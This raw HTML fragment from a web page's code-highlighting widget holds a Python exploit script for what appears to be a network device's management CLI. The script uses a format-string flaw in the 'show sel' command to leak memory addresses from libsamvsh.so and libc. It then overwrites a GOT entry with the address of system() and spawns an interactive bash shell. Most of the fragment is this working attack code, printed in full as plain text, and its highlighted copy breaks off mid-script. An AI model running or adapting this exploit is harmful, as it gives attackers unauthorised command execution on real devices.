style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import struct  import time  import binascii    def generate_payload(addr):      basepayload = &#8220;show sel AAAAAAAAAAAA&#8221;      aa = (addr &gt;&gt; 24 &amp; 0xff)      bb = (addr &gt;&gt; 16 &amp; 0xff)      cc = (addr &gt;&gt; 8 &amp; 0xff)      dd = (addr &gt;&gt; 0 &amp; 0xff)      if aa&lt;34:          aa_c_payload = aa + 222      else:          aa_c_payload = aa &#8211; 34      if bb&lt;34:          bb_c_payload = bb + 222      else:          bb_c_payload = bb &#8211; 34      if cc&lt;34:          cc_c_payload = cc + 222      else:          cc_c_payload = cc &#8211; 34      if dd&lt;34:          dd_c_payload = dd + 222      else:          dd_c_payload = dd &#8211; 34      aa_payload = &#8220;%&#8221; + str(aa_c_payload) + &#8220;c%28$n&#8221;      bb_payload = &#8220;%&#8221; + str(bb_c_payload) + &#8220;c%28$n&#8221;      cc_payload = &#8220;%&#8221; + str(cc_c_payload) + &#8220;c%28$n&#8221;      dd_payload = &#8220;%&#8221; + str(dd_c_payload) + &#8220;c%28$n&#8221;      aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]      bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]      ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]      ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]      return [aap,bbp,ccp,ddp]    def clearlog():      fo = open(&#8220;output\/log&#8221;,&#8221;w&#8221;)      fo.truncate()      fo.close()    def readlog():      logread = [line.strip(&#8216;n\u0000x00&#8217;) for line in open(&#8216;output\/log&#8217;)]      return logread    def sendcommand(cmd):      f=open(&#8220;fifo1&#8221;, &#8220;a+&#8221;)      f.write(cmd+&#8221;n&#8221;)      f.close()    def dump(adr, frmt=&#8217;p&#8217;):      clearlog()      leak_part = &#8220;show sel %28${}&#8221;.format(frmt)      raw_addr = struct.pack(&#8220;I&#8221;, adr)      if &#8220;x20&#8221; in raw_addr:          print &#8220;space!&#8221;      out = leak_part + &#8220;AAAAAAA&#8221;+raw_addr      sendcommand(out)      time.sleep(2)      e = readlog()[0]      outbin =  e.split(&#8220;AAAAAAA&#8221;)[0].split(&#8220;: &#8220;)[2]      clearlog()      return outbin+&#8221;x00&#8221;    def starting_point():      clearlog()      out = &#8220;show sel %147$x&#8221;      sendcommand(out)      time.sleep(2)      e = readlog()[0]      outbin =  e.split(&#8220;AAAAAAA&#8221;)[0].split(&#8220;:&#8221;)[2]      clearlog()      return outbin      clidcos_step = 0x1DB0C  libc_emulator_snprintf = 0x0004b210  libc_emulator_system = 0x0003af60    print &#8220;Going through some menus please wait a moment..&#8221;  sendcommand(&#8220;c&#8221;)  time.sleep(1)  sendcommand(&#8220;show version&#8221;)  time.sleep(1)  sendcommand(&#8220;connect local-mgmt&#8221;)  time.sleep(1)  sendcommand(&#8220;connect local-mgmt&#8221;)  time.sleep(1)  sendcommand(&#8220;show version&#8221;)  time.sleep(5)  clearlog()    print &#8220;You should now see on the other terminal message simmilar to &#8220;Error: Already in local-mgmt shell..&#8221; &#8221;  print &#8220;[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&amp;) addres from libsamvsh.so&#8221;  off3 = int(starting_point(),16)  print &#8221;    -&gt; &#8221; + hex(off3)  print &#8220;[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt&#8221;  clidcosGOTPLT = off3+clidcos_step  print &#8221;    -&gt; &#8221; + hex(clidcosGOTPLT)  print &#8220;[.] Dumping snprintf address from libc&#8221;  libc_printf = dump(clidcosGOTPLT+8,&#8217;s&#8217;)[:4]  libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])  libc_snprintf_addr =  int(libc_tmp1_hex, 16)  print &#8221;    -&gt; &#8221; + hex(libc_snprintf_addr)  print &#8220;[.] Calculating libc system address&#8221;  libc_base_addr = libc_snprintf_addr &#8211; libc_emulator_snprintf  print &#8221;    -&gt; libc base addr = &#8221; + hex(libc_base_addr)  libc_system_addr = libc_base_addr + libc_emulator_system  print &#8221;    -&gt; system addr = &#8221; + hex(libc_system_addr)  print &#8220;n[.] Sending payload..&#8221;    sendcommand(generate_payload(libc_system_addr)[3] + struct.pack(&#8220;I&#8221;, clidcosGOTPLT))  print generate_payload(libc_system_addr)[3]  sendcommand(&#8220;show version&#8221;)  time.sleep(1)    sendcommand(generate_payload(libc_system_addr)[2] + struct.pack(&#8220;I&#8221;, clidcosGOTPLT+1))  print generate_payload(libc_system_addr)[2]  sendcommand(&#8220;show version&#8221;)  time.sleep(1)    sendcommand(generate_payload(libc_system_addr)[1] + struct.pack(&#8220;I&#8221;, clidcosGOTPLT+2))  print generate_payload(libc_system_addr)[1]  sendcommand(&#8220;show version&#8221;)  time.sleep(1)    sendcommand(generate_payload(libc_system_addr)[0] + struct.pack(&#8220;I&#8221;, clidcosGOTPLT+3))  print generate_payload(libc_system_addr)[0]  sendcommand(&#8220;show version&#8221;)  time.sleep(1)    print &#8220;Sleep for fork adjustment..&#8221;  time.sleep(5)  sendcommand(&#8220;ssh \/bin\/bash&#8221;)  print &#8220;Ok please type your commands (type exit for exit)&#8221;  time.sleep(2)  while True:      n = raw_input(&#8220;&gt; &#8220;)      if &#8216;exit&#8217; in n:          break      clearlog()      sendcommand(n)      time.sleep(2)      print readlog()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ba743344774-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130ba743344774-144\">144<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-t\">struct<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-2\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">time<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-3\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">binascii<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-4\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-5\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">generate_payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">basepayload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;show sel AAAAAAAAAAAA&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">aa<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">24<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">dd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">aa<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">34<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">aa_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">aa<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">222<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">aa_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">aa<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">34<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">bb<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">34<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bb_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">bb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">222<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bb_c_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">bb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">34<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ba743344774-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cc<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">34<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130ba743344774-20\"><span 